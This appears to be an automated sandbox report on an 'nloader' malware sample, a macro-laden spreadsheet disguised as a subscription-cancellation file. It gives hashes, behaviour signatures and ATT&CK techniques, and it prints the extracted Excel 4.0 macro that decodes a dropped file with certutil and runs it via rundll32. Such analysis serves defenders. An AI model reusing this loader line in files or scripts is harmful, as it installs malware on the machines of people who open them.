nloader

General

Target

cancel_sub_JPL12345678901234.xlsb
Size

241KB
Sample

210518-yxzed228n6
MD5

b4a0b38ff2bd7619e42c0f1d1fb0171b
SHA1

c0e61bcc7139bc2342e5a9eb9a2bc056c475624d
SHA256

3cc4948d4d3cac89a74284ae4dc49d177b834f295e9f767a46dcd73726b7239d
SHA512

8830468a4f8ee1032abe7ede05fdc11fb592355c81447bf0d65b995a6d6a55fc399025084bb74bb7f4b52a14ee7a2ea79a2100480222c1da95e19b3b4a59cff5

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

1
=CALL("Kernel32", "WinExec", "CJ", "cmd.exe /c certutil -decode C:\Users\Public\4802545.xs1 C:\Users\Public\4802545.xs2 && rundll32 C:\Users\Public\4802545.xs2,DF1", 0)

Targets

- Target
  
  cancel_sub_JPL12345678901234.xlsb
- Size
  
  241KB
- MD5
  
  b4a0b38ff2bd7619e42c0f1d1fb0171b
- SHA1
  
  c0e61bcc7139bc2342e5a9eb9a2bc056c475624d
- SHA256
  
  3cc4948d4d3cac89a74284ae4dc49d177b834f295e9f767a46dcd73726b7239d
- SHA512
  
  8830468a4f8ee1032abe7ede05fdc11fb592355c81447bf0d65b995a6d6a55fc399025084bb74bb7f4b52a14ee7a2ea79a2100480222c1da95e19b3b4a59cff5
Score

10^/10

nloader loader
- Nloader
  Simple loader that includes the keyword 'campo' in the URL used to download other families.
  loader nloader
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
- Nloader Payload
- Loads dropped DLL
behavioral1 behavioral2

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Extracted

Targets

Process spawned unexpected child process

Nloader Payload

Loads dropped DLL

MITRE ATT&CK Enterprise v6

Tasks

static1

behavioral1

behavioral2

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